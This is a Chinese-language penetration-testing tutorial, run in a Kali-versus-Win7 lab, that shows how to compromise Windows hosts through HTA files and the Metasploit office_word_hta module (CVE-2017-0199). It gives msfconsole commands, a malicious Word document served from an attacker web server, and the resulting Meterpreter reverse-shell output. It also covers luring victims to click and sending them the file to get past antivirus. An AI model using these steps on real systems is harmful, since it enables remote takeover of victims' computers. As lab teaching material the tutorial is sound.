Kali 渗透测试:利用HTA文件进行渗透攻击
由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个正常的行为,如让访问伪造网站的受害者下载一个插件,但是这个文件不能是EXE文件这种很容易被发现的文件, 因此,HTML应用程序(HTML Application,HTA)文件就成了最好的选择。
HTA文件可以使用HTML中的绝大多数标签、脚本等。直接将HTML保存成HTA文件,就是一个能够独立运行的软件。与普通HTML网页相比, HTA文件多了一个“HTA:APPLICATION”标签,这个标签提供了一系列面向软件的功能。最重要的是, 它能够让你访问客户的计算机,而不用担心安全的限制。运行HTA文件,会调用%SystemRoot%\system32\mshta.exe(HTML Applicationhost)执行。
下面是一个HTA文件的代码:
<!--example1.hta-->
<html>
<head>
<title>Hello my first HTA</title>
</head>
<body>
<center>
<p>
HTA
</p>
<p>
HTML Application
</p>
</center>
</body>
</html>
把上面的代码复制到文本编辑器中,然后保存为HTA文件,直接双击HTA文件就可以看到效果,如下图所示:
利用HTA文件进行攻击的方式也很简单,黑客只需要构造一个包含HTA恶意文件的恶意网址,然后诱使受害者单击这个网址,受害者的计算机就会运行里面的恶意文件,如下图所示:
如果受害者单击保存文件,如果计算机中安装了杀毒软件,该HTA也可能被查杀。但这并不意味着无计可施了,利用CVE-2017-0199漏洞将恶意的HTA文件载入Word文件,当受害者使用有漏洞的Office打开Word文件时,就会自动运行恶意的HTA文件,从而被成功渗透。
Metasploit提供了exploit/windows/fileformat/office_word_hta模块,这个模块包含两个功能:一个功能是启动一个Web服务器,里面包含恶意的HTA文件;另一个功能是生成一个包含这个恶意HTA文件的Word文件。无论受害者是访问了黑客提供的恶意网址,还是打开了这个恶意Word文件,都会被渗透。
使用Metasploit模拟这个过程如下:
实验环境
操作机:Linux kali 5.10.0 IP :192.168.68.125
靶机:Win7
操作步骤:
- 在Kali主机中,启动metasploit
在命令行输入如下命令:
┌──(kali㉿kali)-[~]
└─$ msfconsole
- 启动office_word_hta模块
进入metasploit界面,输入如下命令:
msf6 > use exploit/windows/fileformat/office_word_hta
使用show targets 命令查看这个模块的攻击目标如下图所示:
使用show options命令查看这个模块的参数,如下图所示:
这个模块的使用方法很简单,可以使用默认参数。
- run命令启动这个模块
使用run命令启动这个模块,命令如下:
msf6 exploit(windows/fileformat/office_word_hta) > run
从图中看到,箭头所指,其中msf.doc就是生成的包含恶意HTA文件的Word文件:
[+] msf.doc stored at /home/kali/.msf4/local/msf.doc
而LocalIP就是包含恶意HTA文件的Web服务器的地址:
[+] Local IP: http://192.168.68.125:8080/default.hta
- 模拟受害者单击恶意链接,访问http://192.168.68.125:8080/default/hta
在Win7主机的浏览器中访问这个Local IP, 如下图所示:
- 回到Kali主机,连接成功
在上图中单击“运行®”按钮,回到Kali主机可以看到,恶意软件已经成功获得了Meterpreter的控制权限。如果没有显示,可以按Enter健测试。下面是成功建立连接会话后的显示结果。
msf6 exploit(windows/fileformat/office_word_hta) >
[*] Sending stage (175174 bytes) to 192.168.68.159
[*] Meterpreter session 1 opened (192.168.68.125:4444 -> 192.168.68.159:49222) at 2022-05-13 04:44:18 -0400
如下图所示:
在Kali会话,执行一些cmd命令对靶机进行操作,如下图所示:
不能直接运行default.hta文件的情况
现在有很多种浏览器,它们对HTA文件的处理方式不同。如在某些浏览器中,可能看到的是如下图所示情况,没有“运行”按钮。
备注:如果default.hta文件保存之后,没有被查杀,直接双击运行,也一样可以正常连接到Kali主机,效果跟在浏览器直接访问一样,这里不再赘述。
如果计算机中安装了杀毒软件,该HTA也可能被查杀。前面提到过还有CVE-2017-0199漏洞的存在,这时可以首先使用cp命令将msf.doc文件复制到一个可以访问的目录(如/var/www/html中),在Kali操作机中输入如下命令:
┌──(root💀kali)-[~]
└─# cp /home/kali/.msf4/local/msf.doc /var/www/html/msf.doc
然后我们将这个文件复制出来发送给受害者。受害者打开以后,Word会给受害者一个提示,如下图所示:
点击“是(Y)”,恶意的HTA就会加载,攻击者就会成功获取控制权限,如下图所示: